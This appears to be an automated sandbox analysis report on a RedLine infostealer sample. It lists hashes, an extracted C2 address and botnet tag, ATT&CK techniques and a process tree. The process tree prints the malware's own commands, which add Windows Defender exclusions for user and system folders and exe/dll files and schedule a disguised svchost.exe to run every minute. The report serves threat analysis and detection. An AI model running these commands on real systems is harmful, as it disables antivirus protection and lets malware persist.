redline | 7a5fc736a94166592a370b8b311656517e2df180917bbc61fc688eb7df0915cb

General

Target

JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe
Size

4.6MB
MD5

d12f20d20f23819ef3448bc10873ba57
SHA1

961ab360fa4588bcf7494a08914a59f029d8f5e7
SHA256

7a5fc736a94166592a370b8b311656517e2df180917bbc61fc688eb7df0915cb
SHA512

392d851bda9796a3c351f5b998df90a5e0f1dc116e3ba66f73ad86d254a1d2ca1c526c3f18cd6f4ede626a1fe4001c7e30af021ada55e1adf57d3faa2f624c16
SSDEEP

98304:Uq8eNY5p0ExtC6RpPwVsniC5u/BDLTABEp0moOjtchoKCa:Uqup0Ex8ArMdPABEp0pAKhfCa

Score

10^/10

redline @zxckostyan4ik discovery execution infostealer

Malware Config

Extracted

Family

redline

Botnet

@zxckostyan4ik

C2

95.181.152.6:46927

Attributes

auth_value
cdf3919a262c0d6ba99116b375d7551c

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/1992-11-0x0000000000390000-0x00000000003BE000-memory.dmp	family_redline
behavioral1/memory/1992-18-0x0000000000390000-0x00000000003BE000-memory.dmp	family_redline
behavioral1/memory/1992-21-0x0000000001FC0000-0x0000000001FE0000-memory.dmp	family_redline
behavioral1/memory/1992-26-0x0000000000390000-0x00000000003BE000-memory.dmp	family_redline

Redline family
redline

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1492	powershell.exe
1700	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3028	Selfconvened.exe
1992	K3M6Ljh9fd22.exe
408	svchost.exe
2100	svchost.exe

Loads dropped DLL 3 IoCs

pid	Process
2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe
2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe
348	taskeng.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\WindowsPro\svchost.exe	Selfconvened.exe
File opened for modification	C:\Windows\system32\WindowsPro\svchost.exe	Selfconvened.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	K3M6Ljh9fd22.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
972	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3028	Selfconvened.exe
1492	powershell.exe
1700	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3028	Selfconvened.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	408	svchost.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2548 wrote to memory of 3028	2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe	30
PID 2548 wrote to memory of 3028	2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe	30
PID 2548 wrote to memory of 3028	2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe	30
PID 2548 wrote to memory of 3028	2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe	30
PID 2548 wrote to memory of 1992	2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe	31
PID 2548 wrote to memory of 1992	2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe	31
PID 2548 wrote to memory of 1992	2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe	31
PID 2548 wrote to memory of 1992	2548	JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe	31
PID 3028 wrote to memory of 1816	3028	Selfconvened.exe	34
PID 3028 wrote to memory of 1816	3028	Selfconvened.exe	34
PID 3028 wrote to memory of 1816	3028	Selfconvened.exe	34
PID 3028 wrote to memory of 972	3028	Selfconvened.exe	36
PID 3028 wrote to memory of 972	3028	Selfconvened.exe	36
PID 3028 wrote to memory of 972	3028	Selfconvened.exe	36
PID 1816 wrote to memory of 1492	1816	cmd.exe	37
PID 1816 wrote to memory of 1492	1816	cmd.exe	37
PID 1816 wrote to memory of 1492	1816	cmd.exe	37
PID 1816 wrote to memory of 1700	1816	cmd.exe	39
PID 1816 wrote to memory of 1700	1816	cmd.exe	39
PID 1816 wrote to memory of 1700	1816	cmd.exe	39
PID 348 wrote to memory of 408	348	taskeng.exe	41
PID 348 wrote to memory of 408	348	taskeng.exe	41
PID 348 wrote to memory of 408	348	taskeng.exe	41
PID 348 wrote to memory of 2100	348	taskeng.exe	42
PID 348 wrote to memory of 2100	348	taskeng.exe	42
PID 348 wrote to memory of 2100	348	taskeng.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_d12f20d20f23819ef3448bc10873ba57.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2548
- C:\Users\Admin\AppData\Local\Temp\Selfconvened.exe
  C:\Users\Admin\AppData\Local\Temp\Selfconvened.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\system32\cmd.exe
    "cmd" #cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1700
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /f /sc minute /rl highest /mo 1 /tn "Bobsledding" /tr "C:\Windows\system32\WindowsPro\svchost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:972
- C:\Users\Admin\AppData\Local\Temp\K3M6Ljh9fd22.exe
  C:\Users\Admin\AppData\Local\Temp\K3M6Ljh9fd22.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1992

C:\Windows\system32\taskeng.exe
taskeng.exe {7B064C0D-52AF-4FEE-B22E-BE790C0872FC} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:348
- C:\Windows\system32\WindowsPro\svchost.exe
  C:\Windows\system32\WindowsPro\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:408
- C:\Windows\system32\WindowsPro\svchost.exe
  C:\Windows\system32\WindowsPro\svchost.exe
  2⤵
  - Executes dropped EXE
  PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
51f6032f71042fe7316529a9c1e1bcbf

SHA1
66c918635e2d22864cb159858dde3c8555ee762c

SHA256
716da1a746eb728537595bccf8e53864685c19f9048ccbfe266eee2f9ab64739

SHA512
9e1ade1cc531c4e18c20ee2352313b3865dedf901fd4f3b246704ba98ee657c1a21d77458d74dcd7e82db8adca3d507ae98138c09fd79df39cdfac6970f4280b

Download Submit
C:\Windows\System32\WindowsPro\svchost.exe

Filesize
10.1MB

MD5
43d10bceb18865e16d5ba84c42f82b2c

SHA1
6560eaea33e3a349d20b3e6c904642ca603b416e

SHA256
7ce8f82c93c4b4a32b8ab350a880ea0bf5c7bc5cd4c49360c7d9cad3efb26cfe

SHA512
42cf0c5038d03f24a232277b89b750b159617cf34441976cd539cf652c10672b6ebaea3fa2b2ee9e38f26cd8fee1c0d783de10a3da153cee43468e2c530df365

Download Submit
\Users\Admin\AppData\Local\Temp\K3M6Ljh9fd22.exe

Filesize
881KB

MD5
ce5a9ec35a54e669820589d15f1faa07

SHA1
68a5aaa46aa2ce2c3083486f8e265e050cd421ac

SHA256
a5317940f3f36d4c047ef70fcef5aedcdcdb0d9afae7ccfb3220190f09dab15b

SHA512
eb097778c480b9e1bd396895ef86727997cb1c0bd1c3d6863a3d711216c2ce64d1ff647987b57c0e67b9b9673526cd28bc83aaf7177e11a9b348e2960f535131

Download Submit
\Users\Admin\AppData\Local\Temp\Selfconvened.exe

Filesize
4.5MB

MD5
64b5e984fda860eedf19c29a124094fb

SHA1
760c195741989e17b48ad52c13bed35e8ea51692

SHA256
1f47c67d3baa635c4b7dd2bfed0a26a6bd499c3ab5a64d10b391a52e7d71ba39

SHA512
187dbbc7137db41da77dd5c3d1471f82b157d031653109632adb9c49ea519f452b661cfd1845512661dcdb3b00bf2a02b2c3504406fb19ad89b06fcd6afee4e4

Download Submit
memory/408-61-0x00000000001C0000-0x000000000063A000-memory.dmp

Filesize
4.5MB

Download
memory/1492-44-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/1492-43-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/1700-50-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/1700-51-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download
memory/1992-26-0x0000000000390000-0x00000000003BE000-memory.dmp

Filesize
184KB

Download
memory/1992-22-0x00000000745F0000-0x0000000074CDE000-memory.dmp

Filesize
6.9MB

Download
memory/1992-11-0x0000000000390000-0x00000000003BE000-memory.dmp

Filesize
184KB

Download
memory/1992-27-0x00000000745FE000-0x00000000745FF000-memory.dmp

Filesize
4KB

Download
memory/1992-28-0x00000000745F0000-0x0000000074CDE000-memory.dmp

Filesize
6.9MB

Download
memory/1992-29-0x0000000000650000-0x0000000000733000-memory.dmp

Filesize
908KB

Download
memory/1992-18-0x0000000000390000-0x00000000003BE000-memory.dmp

Filesize
184KB

Download
memory/1992-20-0x00000000745FE000-0x00000000745FF000-memory.dmp

Filesize
4KB

Download
memory/1992-21-0x0000000001FC0000-0x0000000001FE0000-memory.dmp

Filesize
128KB

Download
memory/2100-69-0x00000000001D0000-0x000000000064A000-memory.dmp

Filesize
4.5MB

Download
memory/3028-32-0x00000000216C0000-0x0000000021964000-memory.dmp

Filesize
2.6MB

Download
memory/3028-24-0x000000001BFB0000-0x000000001C030000-memory.dmp

Filesize
512KB

Download
memory/3028-31-0x0000000021310000-0x00000000216B8000-memory.dmp

Filesize
3.7MB

Download
memory/3028-19-0x0000000001130000-0x00000000015AA000-memory.dmp

Filesize
4.5MB

Download
memory/3028-30-0x000000001BFB0000-0x000000001C030000-memory.dmp

Filesize
512KB

Download
memory/3028-23-0x000000001C4D0000-0x000000001C888000-memory.dmp

Filesize
3.7MB

Download
memory/3028-10-0x000007FEF5823000-0x000007FEF5824000-memory.dmp

Filesize
4KB

Download
memory/3028-25-0x000007FEF5823000-0x000007FEF5824000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads